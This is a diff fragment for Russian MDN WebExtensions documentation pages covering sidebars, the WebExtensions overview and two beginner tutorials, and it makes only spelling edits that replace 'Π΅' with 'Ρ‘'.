-<p>Как ΠΈ Π² случаС Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΊΠΎΠ½ (Popups), Π²Ρ‹ Π·Π°Π΄Π°Π΅Ρ‚Π΅ содСрТимоС Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ ΠΊΠ°ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ HTML. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль, этот Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ загруТаСтся Π² ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. КаТдоС ΠΎΠΊΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ свой экзСмпляр Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Когда ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½ΠΎΠ²Ρ‹Π΅ ΠΎΠΊΠ½Π°, ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ свои собствСнныС экзСмпляры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ.</p>
+<p>Как ΠΈ Π² случаС Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΊΠΎΠ½ (Popups), Π²Ρ‹ Π·Π°Π΄Π°Ρ‘Ρ‚Π΅ содСрТимоС Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ ΠΊΠ°ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ HTML. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль, этот Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ загруТаСтся Π² ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. КаТдоС ΠΎΠΊΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ свой экзСмпляр Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Когда ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½ΠΎΠ²Ρ‹Π΅ ΠΎΠΊΠ½Π°, ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ свои собствСнныС экзСмпляры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{WebExtAPIRef("sidebarAction.setPanel()")}}. Боковая панСль ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ ΠΎΠΊΠ½Ρƒ ΠΎΠ½Π° ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{WebExtAPIRef("windows.getCurrent()")}} API:</p>
@@ -34,7 +34,7 @@ browser.windows.getCurrent({populate: true}).then((windowInfo) =&gt; {
<h2 id="ИспользованиС_Π±ΠΎΠΊΠΎΠ²Ρ‹Ρ…_ΠΏΠ°Π½Π΅Π»Π΅ΠΉ">ИспользованиС Π±ΠΎΠΊΠΎΠ²Ρ‹Ρ… ΠΏΠ°Π½Π΅Π»Π΅ΠΉ</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль Π² своСм Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ, ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π° <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> Π² manifest.json key, HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠ°Π½Π΅Π»ΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Π·Π½Π°Ρ‡ΠΎΠΊ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ панСль Π² своём Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ, ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π° <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> Π² manifest.json key, HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠ°Π½Π΅Π»ΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Π·Π½Π°Ρ‡ΠΎΠΊ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:</p>
<pre class="brush: json">"sidebar_action": {
"default_title": "My sidebar",
diff --git a/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html
index f35a11fdb7..cae5ec254f 100644
--- a/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/what_are_webextensions/index.html
@@ -75,7 +75,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
</div>
<div>
-<p>WebExtensions - это кросс-браузСрная систСма для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ стСпСни Π΅Π΅ API совмСстим с  <a class="external external-icon" href="https://developer.chrome.com/extensions">extension API</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ поддСрТиваСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ Google Chrome ΠΈ Opera. Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ для этих Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Firefox ΠΈΠ»ΠΈ Microsoft Edge с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ измСнСниями. Π’Π°ΠΊΠΆΠ΅ API ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ совмСстим с <a href="/ru/Firefox/Multiprocess_Firefox">ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΡ€ΠΎΡ†Π΅ΡΡΠ½Ρ‹ΠΌ Firefox</a>.</p>
+<p>WebExtensions - это кросс-браузСрная систСма для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ стСпСни Π΅Ρ‘ API совмСстим с  <a class="external external-icon" href="https://developer.chrome.com/extensions">extension API</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ поддСрТиваСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ Google Chrome ΠΈ Opera. Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ для этих Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Firefox ΠΈΠ»ΠΈ Microsoft Edge с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ измСнСниями. Π’Π°ΠΊΠΆΠ΅ API ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ совмСстим с <a href="/ru/Firefox/Multiprocess_Firefox">ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΡ€ΠΎΡ†Π΅ΡΡΠ½Ρ‹ΠΌ Firefox</a>.</p>
</div>
<div>
@@ -83,7 +83,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
</div>
<div>
-<p>Π”ΠΎ появлСния WebExtensions Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° дополнСния для Firefox ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΠ»Π°ΡΡŒ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов:Β <a href="/en-US/Add-ons/Overlay_Extensions">XUL/XPCOM overlays</a>, <a href="/en-US/docs/Mozilla/Add-ons/Bootstrapped_extensions">bootstrapped extensions</a> ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Mozilla/Add-ons/SDK">Add-on SDK</a>. Π’ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ WebExtensions станСт Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹ΠΌ способом Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ для Firefox, Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ способы Π±ΡƒΠ΄ΡƒΡ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ.</p>
+<p>Π”ΠΎ появлСния WebExtensions Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° дополнСния для Firefox ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΠ»Π°ΡΡŒ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов:Β <a href="/en-US/Add-ons/Overlay_Extensions">XUL/XPCOM overlays</a>, <a href="/en-US/docs/Mozilla/Add-ons/Bootstrapped_extensions">bootstrapped extensions</a> ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Mozilla/Add-ons/SDK">Add-on SDK</a>. Π’ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ WebExtensions станСт Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹ΠΌ способом Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ для Firefox, Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ способы Π±ΡƒΠ΄ΡƒΡ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ.</p>
</div>
<h2 id="Π§Ρ‚ΠΎ_дальшС">Π§Ρ‚ΠΎ дальшС?</h2>
diff --git a/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html
index e9e4e74784..4e55db9d08 100644
--- a/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/your_first_webextension/index.html
@@ -10,7 +10,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
---
<div>{{AddonSidebar}}</div>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΡ€ΠΎΠΉΠ΄Π΅ΠΌ вСсь ΠΏΡƒΡ‚ΡŒ создания WebExtension для Firefox, ΠΎΡ‚ Π½Π°Ρ‡Π°Π»Π° ΠΈ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π°. Π­Ρ‚ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ просто Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΊΡ€Π°ΡΠ½ΡƒΡŽ Ρ€Π°ΠΌΠΊΡƒ ΠΊΠΎ всСм страницам, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ с "mozilla.org" ΠΈΠ»ΠΈ любого ΠΈΠ· Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ².</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘ΠΌ вСсь ΠΏΡƒΡ‚ΡŒ создания WebExtension для Firefox, ΠΎΡ‚ Π½Π°Ρ‡Π°Π»Π° ΠΈ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π°. Π­Ρ‚ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ просто Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΊΡ€Π°ΡΠ½ΡƒΡŽ Ρ€Π°ΠΌΠΊΡƒ ΠΊΠΎ всСм страницам, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ с "mozilla.org" ΠΈΠ»ΠΈ любого ΠΈΠ· Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ².</p>
<p>Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ этого дополнСния доступСн Π½Π° GitHub: <a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">https://github.com/mdn/webextensions-examples/tree/master/borderify</a>.</p>
@@ -18,7 +18,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
<h2 id="НаписаниС_WebExtension">НаписаниС WebExtension</h2>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ (ΠΏΠ°ΠΏΠΊΡƒ) ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Π΅:</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ (ΠΏΠ°ΠΏΠΊΡƒ) ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Ρ‘:</p>
<pre class="brush: bash">mkdir borderify
cd borderify</pre>
diff --git a/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html
index 09f29a7532..53e30de86f 100644
--- a/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/your_second_webextension/index.html
@@ -9,14 +9,14 @@ tags:
translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
---
<div>{{AddonSidebar}}
-<p>Если Π’Ρ‹ ΡƒΠΆΠ΅ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π»ΠΈ ΡΡ‚Π°Ρ‚ΡŒΡŽΒ <a dir="ltr" href="/ru/Add-ons/WebExtensions/Your_first_WebExtension" lang="ru-ru">Π’Π°Ρˆ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ WebExtension</a>, Ρ‚ΠΎ ΡƒΠΆΠ΅ прСдставляСтС, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ WebExtension. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ напишСм Π±ΠΎΠ»Π΅Π΅ слоТноС Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ дСмонстрируСт Π΅Ρ‰Π΅ нСсколько API.</p>
+<p>Если Π’Ρ‹ ΡƒΠΆΠ΅ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π»ΠΈ ΡΡ‚Π°Ρ‚ΡŒΡŽΒ <a dir="ltr" href="/ru/Add-ons/WebExtensions/Your_first_WebExtension" lang="ru-ru">Π’Π°Ρˆ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ WebExtension</a>, Ρ‚ΠΎ ΡƒΠΆΠ΅ прСдставляСтС, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ WebExtension. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ напишСм Π±ΠΎΠ»Π΅Π΅ слоТноС Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ дСмонстрируСт Π΅Ρ‰Ρ‘ нСсколько API.</p>
<p>Π”ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ добавляСт Π½ΠΎΠ²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ Π½Π° панСль инструмСнтов Firefox. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅, ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ Π΅ΠΌΡƒ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ панСль с ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΆΠΈΠ²ΠΎΡ‚Π½ΠΎΠ΅. Когда ΠΆΠΈΠ²ΠΎΡ‚Π½ΠΎΠ΅ Π²Ρ‹Π±Ρ€Π°Π½ΠΎ, ΠΌΡ‹ замСняСм содСрТимоС Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΆΠΈΠ²ΠΎΡ‚Π½ΠΎΠ³ΠΎ.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ это, ΠΌΡ‹:</p>
<ul>
- <li><strong>ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> - ΠΊΠ½ΠΎΠΏΠΊΡƒ, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½ΡƒΡŽ ΠΊ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Firefox.</strong><br>
+ <li><strong>ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> - ΠΊΠ½ΠΎΠΏΠΊΡƒ, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½ΡƒΡŽ ΠΊ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Firefox.</strong><br>
Для ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΌΡ‹ прСдоставим:
<ul>
<li>ΠΈΠΊΠΎΠ½ΠΊΡƒ с ΠΈΠΌΠ΅Π½Π΅ΠΌ "beasts-32.png"</li>
@@ -50,7 +50,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
<h2 id="НаписаниС_WebExtension">НаписаниС WebExtension</h2>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Π΅:</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Ρ‘:</p>
<pre class="brush: bash">mkdir beastify
cd beastify</pre>
@@ -95,11 +95,11 @@ cd beastify</pre>
<li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description">description</a></code> <code>ΠΈ <a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url">homepage_url</a></code> Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹, Π½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹: ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ.</li>
<li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, Π½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΡ‹ΠΉ: позволяСт Π’Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΈΠΊΠΎΠ½ΠΊΡƒ для дополнСния, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° Π² ΠœΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅ Π”ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ.</li>
<li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> пСрСчисляСт Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ для Π½ΡƒΠΆΠ΄ дополнСния. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ просто ΡΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ для <a href="/ru/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission"><code>activeTab</code> permission</a>.</li>
- <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> Π·Π°Π΄Π°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ прСдоставляСм Ρ‚Ρ€ΠΈ Π²ΠΈΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ:
+ <li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ прСдоставляСм Ρ‚Ρ€ΠΈ Π²ΠΈΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ:
<ul>
<li><code>default_icon</code> это ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ ΠΈΠΊΠΎΠ½ΠΊΠ° для ΠΊΠ½ΠΎΠΏΠΊΠΈ</li>
<li><code>default_title</code> Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π² подсказкС</li>
- <li><code>default_popup</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ссли Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π°Ρ панСль Π±Ρ‹Π»Π° ΠΏΠΎΠΊΠ°Π·Π°Π½Π° ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ использовали этот ΠΊΠ»ΡŽΡ‡ ΠΈ ΠΎΠ½ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° HTML Ρ„Π°ΠΉΠ», ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΊ дополнСнию.</li>
